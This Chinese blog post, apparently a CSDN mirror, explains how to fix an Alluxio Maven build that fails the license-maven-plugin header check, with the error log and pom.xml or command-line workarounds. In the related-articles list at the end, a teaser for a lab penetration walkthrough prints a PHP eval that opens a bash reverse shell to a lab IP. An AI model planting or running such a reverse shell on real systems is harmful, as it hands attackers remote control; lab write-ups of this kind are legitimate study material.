【alluxio编译报错】Some files do not have the expected license header

news2024/9/22 9:54:04

Some files do not have the expected license header

快捷导航

在开始解决问题之前,大家可以通过下面的导航快速找到相关资源啦!💡👇

快捷导航链接地址备注
相关文档-
ambari+bigtop自定义组件集成https://blog.csdn.net/TTBIGDATA/article/details/142150086CSDN地址
编译、开发、部署、集成解决方案https://t.zsxq.com/0PVcI知识星球
源代码-
Ambari-envhttps://github.com/TtBigdata/ambari-envGitHub
Ambari-envhttps://gitee.com/tt-bigdata/ambari-envGitee
Ambari-2.8.0魔改版https://gitee.com/tt-bigdata/ambari-2.8.0Gitee
编译包-
蓝奏云-1.0.2https://www.ilanzou.com/s/4mfyXMq9?code=6655
阿里云盘-1.0.2https://www.alipan.com/s/q3TqL1mdPBp提取码:01no
联系方式-
QQ:1群https://qm.qq.com/q/3DrsCY5b7a

正题:如何解决 Some files do not have the expected license header 错误问题 🤔

1️⃣ 错误分析

下述完整报错日志:

[INFO] Reactor Summary:
[INFO]
[INFO] Alluxio Integration 2.9.3 .......................... FAILURE
[INFO] Alluxio Integration - JNIFUSE 2.9.3 ................ SKIPPED
[INFO] Alluxio Integration - JNIFUSE - Native 2.9.3 ....... SKIPPED
[INFO] Alluxio Integration - JNIFUSE - Filesystem 2.9.3 ... SKIPPED
[INFO] Alluxio Under File System - S3 2.9.3 ............... SKIPPED
[INFO] Alluxio Integration - FUSE 2.9.3 ................... SKIPPED
[INFO] Alluxio Shaded Libraries 2.9.3 ..................... SKIPPED
[INFO] Alluxio Shaded Libraries - Hadoop 3.3.1 ............ SKIPPED
[INFO] Alluxio Under File System - HDFS 2.9.3 ............. SKIPPED
[INFO] Alluxio Core - Server - Worker 2.9.3 ............... SKIPPED
[INFO] Alluxio Stress 2.9.3 ............................... SKIPPED
[INFO] Alluxio Stress - Common 2.9.3 ...................... SKIPPED
[INFO] Alluxio Stress - Shell 2.9.3 ....................... SKIPPED
[INFO] Alluxio Assembly 2.9.3 ............................. SKIPPED
[INFO] Alluxio Assembly - Client 2.9.3 .................... SKIPPED
[INFO] Alluxio Core - Server - Master 2.9.3 ............... SKIPPED
[INFO] Alluxio Core - Server - Proxy 2.9.3 ................ SKIPPED
[INFO] Alluxio Job Service - Server 2.9.3 ................. SKIPPED
[INFO] Alluxio Log Server 2.9.3 ........................... SKIPPED
[INFO] Alluxio Assembly - Server 2.9.3 .................... SKIPPED
[INFO] Alluxio Core - Client - HDFS3 2.9.3 ................ SKIPPED
[INFO] Alluxio Integration - Tools 2.9.3 .................. SKIPPED
[INFO] Alluxio Integration - Tools - HMS 2.9.3 ............ SKIPPED
[INFO] Alluxio Integration - Validation Tools 2.9.3 ....... SKIPPED
[INFO] Alluxio MiniCluster 2.9.3 .......................... SKIPPED
[INFO] Alluxio Tests 2.9.3 ................................ SKIPPED
[INFO] Alluxio Microbenchmarks 2.9.3 ...................... SKIPPED
[INFO] Alluxio Table 2.9.3 ................................ SKIPPED
[INFO] Alluxio Table - Base Module 2.9.3 .................. SKIPPED
[INFO] Alluxio Table - Client 2.9.3 ....................... SKIPPED
[INFO] Alluxio Shaded Libraries - Client 2.9.3 ............ SKIPPED
[INFO] Alluxio Shaded Libraries - Hadoop3 Client 2.9.3 .... SKIPPED
[INFO] Alluxio Table - Server 2.9.3 ....................... SKIPPED
[INFO] Alluxio Table - Server - Common 2.9.3 .............. SKIPPED
[INFO] Alluxio Table - Server - Master 2.9.3 .............. SKIPPED
[INFO] Alluxio Table - Server - UnderDB 2.9.3 ............. SKIPPED
[INFO] Alluxio Table - Server - UnderDB - Hive 2.9.3 ...... SKIPPED
[INFO] Alluxio Table - Server - UnderDB - Glue 2.9.3 ...... SKIPPED
[INFO] Alluxio Table - Shell 2.9.3 ........................ SKIPPED
[INFO] Alluxio Under File System - Microsoft Azure DataLake Gen 2 2.9.3 SKIPPED
[INFO] Alluxio Under File System - Microsoft Azure DataLake 2.9.3 SKIPPED
[INFO] Alluxio Under File System - CephFS 2.9.3 ........... SKIPPED
[INFO] Alluxio Under File System - Cephfs-hadoop 2.9.3 .... SKIPPED
[INFO] Alluxio Under File System - Tencent Cloud COS 2.9.3  SKIPPED
[INFO] Alluxio Under File System - Tencent Cloud COSN 2.9.3 SKIPPED
[INFO] Alluxio Under File System - GCS 2.9.3 .............. SKIPPED
[INFO] Alluxio Under File System - Qiniu Kodo 2.9.3 ....... SKIPPED
[INFO] Alluxio Under File System - Aliyun OSS 2.9.3 ....... SKIPPED
[INFO] Alluxio Under File System - Apache Ozone 2.9.3 ..... SKIPPED
[INFO] Alluxio Under File System - Swift 2.9.3 ............ SKIPPED
[INFO] Alluxio Under File System - Microsoft Azure Blob Storage 2.9.3 SKIPPED
[INFO] Alluxio Under File System - Web 2.9.3 .............. SKIPPED
[INFO] Alluxio Under File System - Huawei OBS 2.9.3 ....... SKIPPED
[INFO] Alluxio UI 2.9.3 ................................... SKIPPED
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  15:11 min
[INFO] Finished at: 2024-09-19T09:12:31+08:00
[INFO] ------------------------------------------------------------------------
[WARNING] The requested profile "yarn" could not be activated because it does not exist.
[ERROR] Failed to execute goal com.mycila:license-maven-plugin:4.0.rc1:check (default) on project alluxio-integration: Some files do not have the expected license header -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal com.mycila:license-maven-plugin:4.0.rc1:check (default) on project alluxio-integration: Some files do not have the expected license header
    at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute2 (MojoExecutor.java:375)
    at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:351)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:299)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:193)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:106)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:963)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:296)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:199)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.MojoExecutionException: Some files do not have the expected license header
    at com.mycila.maven.plugin.license.LicenseCheckMojo.execute (LicenseCheckMojo.java:74)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute2 (MojoExecutor.java:370)
    at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:351)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:299)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:193)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:106)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:963)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:296)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:199)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR]
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
[ERROR]
[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn <args> -rf :alluxio-integration

license-maven-plugin 是一个用来检查和管理项目中许可证头的插件。此错误表示在代码中的某些文件缺少预期的许可证声明头,导致 Maven 构建失败。

错误信息:

[ERROR] Failed to execute goal com.mycila:license-maven-plugin:4.0.rc1:check (default) on project alluxio-integration: Some files do not have the expected license header

错误原因:

  • 项目中的部分文件没有指定的许可证头,违反了构建规则。
  • 文件格式或文件路径被插件误认为需要许可证头,但实际不需要(如生成的代码或第三方依赖文件)。

2️⃣ 解决方案 💡
方案 1: 跳过许可证检查

通过配置 pom.xml 或在构建命令中跳过许可证检查,快速解决问题。

在这里插入图片描述

配置示例:

<!--

    The Alluxio Open Foundation licenses this work under the Apache License, version 2.0
    (the "License"). You may not use this work except in compliance with the License, which is
    available at www.apache.org/licenses/LICENSE-2.0

    This software is distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
    either express or implied, as more fully set forth in the License.

    See the NOTICE file distributed with this work for information regarding copyright ownership.

-->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <parent>
    <groupId>org.alluxio</groupId>
    <artifactId>alluxio-parent</artifactId>
    <version>2.9.3</version>
  </parent>
  <artifactId>alluxio-integration</artifactId>
  <packaging>pom</packaging>
  <name>Alluxio Integration</name>
  <description>Parent POM for different integrations with Alluxio</description>
  <modules>
    <!-- exclude checker from hadoop-1 profile as yarn is not available in Hadoop 1.x -->
    <module>fuse</module>
    <module>jnifuse</module>
    <module>tools</module>
  </modules>

  <properties>
    <!-- The following paths need to be defined here as well as in the parent pom so that mvn can -->
    <!-- run properly from sub-project directories -->
    <build.path>${project.parent.basedir}/build</build.path>
  </properties>
  <build>
    <plugins>
      <plugin>
        <groupId>com.mycila</groupId>
        <artifactId>license-maven-plugin</artifactId>
        <configuration>
          <skip>true</skip> <!-- 跳过检查 -->
          <excludes>
            <exclude>kubernetes/operator/alluxio/hack/boilerplate.go.txt</exclude>
          </excludes>
          <mapping>
            <alluxio>SCRIPT_STYLE</alluxio>
            <go>SLASHSTAR_STYLE</go>
            <java>SLASHSTAR_STYLE</java>
            <tsx>SLASHSTAR_STYLE</tsx>
            <scss>SLASHSTAR_STYLE</scss>
            <properties.template>SCRIPT_STYLE</properties.template>
            <sh.template>SCRIPT_STYLE</sh.template>
            <workers>SCRIPT_STYLE</workers>
            <xml.template>XML_STYLE</xml.template>
          </mapping>
          <useDefaultMapping>true</useDefaultMapping>
          <strictCheck>true</strictCheck>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

命令行跳过:

mvn package -Dlicense.skip=true
方案 2: 自动添加许可证头

利用 mvn license:format 自动为项目中的所有文件添加正确的许可证头,保证项目合规。

命令:

mvn license:format
方案 3: 排除特定文件

配置 pom.xml,排除特定文件或文件夹,不对这些文件执行许可证检查。

配置示例:

<plugin>
  <groupId>com.mycila</groupId>
  <artifactId>license-maven-plugin</artifactId>
  <configuration>
    <excludes>
      <exclude>**/*.txt</exclude> <!-- 排除指定文件 -->
      <exclude>src/generated-sources/**</exclude> <!-- 排除生成的代码 -->
    </excludes>
  </configuration>
</plugin>
方案 4: 降低严格性

通过设置 strictCheckfalse,减少对许可证头的严格要求,允许部分文件没有许可证头。

配置示例:

<plugin>
  <groupId>com.mycila</groupId>
  <artifactId>license-maven-plugin</artifactId>
  <configuration>
    <strictCheck>false</strictCheck> <!-- 降低严格性 -->
  </configuration>
</plugin>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Elasticsearch系列十八】Ik 分词器

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

通信入门系列书籍推荐一:通信原理和通信原理学习辅导

微信公众号上线&#xff0c;搜索公众号小灰灰的FPGA,关注可获取相关源码&#xff0c;定期更新有关FPGA的项目以及开源项目源码&#xff0c;包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、背景 二、通信原理 …

石岩体育馆附近的免费停车场探寻

坐标&#xff1a;石岩体育馆侧的石清大道断头路, 如果运气好的话&#xff0c;遇到刚好有车开出的话&#xff0c;我觉得可以作为中长期的免费停车点 第一次路过的时候&#xff0c;把我震惊了&#xff0c;我一直以为石岩停车位紧张比市区还严重&#xff0c;因为石岩大部分为统建楼…

python画图|图像背景颜色设置

python画图出来的默认图形背景是白色&#xff0c;有时候并不适合大家表达想要表达的意思。 因此&#xff0c;我们很有必要掌握自己设置图形背景颜色的技巧。 【1】官网教程 首先请各位看官移步官网&#xff0c;看看官网如何设置&#xff0c;下述链接可轻松到达&#xff1a; …

Lubuntu电源管理

lxqt-config-powermanagement 打开托盘图标 Show icon 电源管理 电源管理管理笔记本电脑电池的低电量、关闭笔记本电脑盖的操作以及计算机长时间闲置时应采取的措施。 用法 LXQt 电源管理会监控您的电池、笔记本电脑盖、空闲情况&#xff0c;以及当您按下电源或睡眠按钮时会发…

IS-ISv6单拓扑存在的问题

文章目录 IS-ISv6单拓扑配置单拓扑存在的问题解决 IS-ISv6单拓扑B站视频传送门 IS-ISv6单拓扑 配置 R1&#xff1a;sy sy R1 ipv6 inter g0/0/0 ip add 12.1.1.1 24 ipv6 enable ipv add 2001:12::1 64 inter loop0 ip add 1.1.1.1 32 ipv6 enable ipv address 2002::1 128isi…

30个GPT提示词天花板,一小时从大纲到终稿

PROMPT 1 中文&#xff1a;构建研究背景与意义&#xff0c;阐述研究问题的紧迫性和重要性。 English: Establish the research background and significance, elucidating the urgency and importance of the research question. 中文&#xff1a;设计研究目的与目标&#xff…

TDOA方法求二维坐标的MATLAB代码演示与讲解

引言 时间差定位(Time Difference of Arrival, TDOA)是一种用于确定信号源位置的技术,广泛应用于无线通信、声学定位等领域。通过测量信号到达多个接收器的时间差,可以计算出信号源的二维坐标。本文将通过MATLAB代码演示如何使用TDOA方法来求解二维坐标。 TDOA原理 TDOA…

LeetCode题练习与总结:回文链表--234

一、题目描述 给你一个单链表的头节点 head &#xff0c;请你判断该链表是否为回文链表。如果是&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,2,1] 输出&#xff1a;true示例 2&#xff1a; 输入&#x…

CocosCreator 3.x 实现角色移动与加载时动态屏幕边缘检测

效果 思路 通过cc.view全局单例 View 对象获取屏幕尺寸加载时根据屏幕尺寸动态计算上下左右边缘 代码实现 import { _decorator, Component, EventTouch, Input, input, Node, view } from cc; const { ccclass, property } _decorator;/*** 玩家控制脚本*/ ccclass(Player…

Linux之实战命令03:stat应用实例(三十七)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

树及二叉树(选择题)

树 在树中&#xff0c;总结点数为所有结点的度和再加一 5、设一棵度为3的树&#xff0c;其中度为2&#xff0c;1.0的结点数分别为3&#xff0c;1&#xff0c;6。该树中度为3 的结点数为_。 二叉树 设二叉树的所有节点个数为N&#xff0c;度为零的结点&#xff08;叶子结点…

P9235 [蓝桥杯 2023 省 A] 网络稳定性

*原题链接* 最小瓶颈生成树题&#xff0c;和货车运输完全一样。 先简化题意&#xff0c; 次询问&#xff0c;每次给出 &#xff0c;问 到 的所有路径集合中&#xff0c;最小边权的最大值。 对于这种题可以用kruskal生成树来做&#xff0c;也可以用倍增来写&#xff0c;但不…

数字基带之相移键控PSK

1 相移键控定义 相移键控是指用载波的相移位变化来传递信号&#xff0c;不改变载波的幅度和频率&#xff0c;可用下面的公式表示。 是载波的幅度&#xff0c;是载波的角频率&#xff0c;是载波的瞬时相位&#xff0c;是载波的初始相位。如果需要调制的信号为1bit的二进制数&am…

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据&#xff0c;读取大数据量时&#xff0c;效率低。 2. 解决方案 根据分区字段&#xff0c;如日期进行划分&#xff0c;增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录&#xff1a; 一&#xff1a;前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二&#xff1a;构建CSRF的payload GET请求&#xff1a;a标签 img标签 POST请求&#xff1a;form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…